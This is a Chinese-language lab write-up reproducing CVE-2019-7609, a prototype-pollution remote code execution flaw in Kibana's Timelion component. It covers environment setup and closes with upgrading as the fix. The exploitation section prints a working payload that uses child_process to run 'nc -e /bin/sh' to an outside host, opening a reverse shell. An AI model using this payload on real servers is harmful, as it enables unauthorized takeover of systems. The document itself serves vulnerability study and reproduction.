CVE-2019-7609:Kibana遠程程式碼執行漏洞復現
- 2019 年 12 月 15 日
- 筆記
本文作者:TeddyGrey(Timeline Sec核心成員)
本文共1105字,閱讀大約需要3分鐘
0x00 簡介
Kibana 是為 Elasticsearch設計的開源分析和可視化平台。你可以使用 Kibana 來搜索,查看存儲在 Elasticsearch 索引中的數據並與之交互。你可以很容易實現高級的數據分析和可視化,以圖標的形式展現出來。
0x01 漏洞概述
攻擊者利用漏洞可以通過Timelion組件中的JavaScript原型鏈污染攻擊,向Kibana發起相關請求,從而接管所在伺服器,在伺服器上執行任意命令。
0x02 影響版本
Kibana < 6.6.1
Kibana < 5.6.15
0x03 環境搭建
本來是打算docker搭建的,奈何網路故障,索性直接kali搭建了
受影響的版本為Kibana < 6.6.0,這裡選擇了6.5.3進行搭建,修改虛擬機記憶體4G以上
1、Elasticsearch安裝
a) 首先去官網下載6.5.3的tar包並解壓
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.3.tar.gz tar -zxvf elasticsearch-6.5.3.tar.gz
b) 直接運行即可
cd elasticsearch-6.5.3 ./bin/elasticsearch
**此處有坑**:
i. es要用非root用戶啟動,否則會報` can not run elasticsearch as root`錯誤。
解決方法:使用非root用戶啟動即可。
ii. 如果前邊是用root用戶下載和解壓的es,直接用普通用戶啟動時會報` AccessDeniedException`錯誤
解決方法:改文件屬主
elk@kali:~$ sudo chown -R ubuntu ~/elasticsearch-6.5.3/
elk@kali:~$ sudo chgrp -R ubuntu ~/elasticsearch-6.5.3/
iii. es需要java支援,由於我是在kali上搭的,所以就沒寫java安裝的過程(kali自帶了openJDK)至於說java怎麼裝~emmm,是個好問題,百度去~
本文僅提供JDK網盤下載(公眾號回復JDK)
訪問http://127.0.0.1:9200/,長這個樣子就說明es啟動成功了

2、Kibana安裝
a) 官網下載壓縮包並解壓
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.5.3-linux-x86_64.tar.gz tar –zxvf kibana-5.4.3-linux-x86_64.tar.gz
b) 直接運行
cd kibana-5.4.3-linux-x86_64 ./bin/kibana
搭建成功,激動人心!
看一看版本號,嗯,是存在漏洞的樣子~

0x04 漏洞利用
漏洞點在Timelion處(名字和Timeline有點像)
直接填入Poc,過程和結果如圖:


有種「做飯半小時,吃飯十分鐘」的趕腳······【手動捂臉】
有人可能會說我的payload跟作者那個不一樣呢,我這個就是換了個反彈shell的方法,作者那個不曉得為啥我kali上一彈就崩2333
Poc:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("nc -e /bin/sh xx.xx.xx.xx 4321");process.exit()//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')0x05 修復方式
升級Kibana至新版本
參考鏈接:
https://slides.com/securitymb/prototype-pollution-in-kibana/
https://blog.csdn.net/sweeper_freedoman/article/details/86227778
https://www.elastic.co/guide/en/kibana/6.5/targz.html
https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077

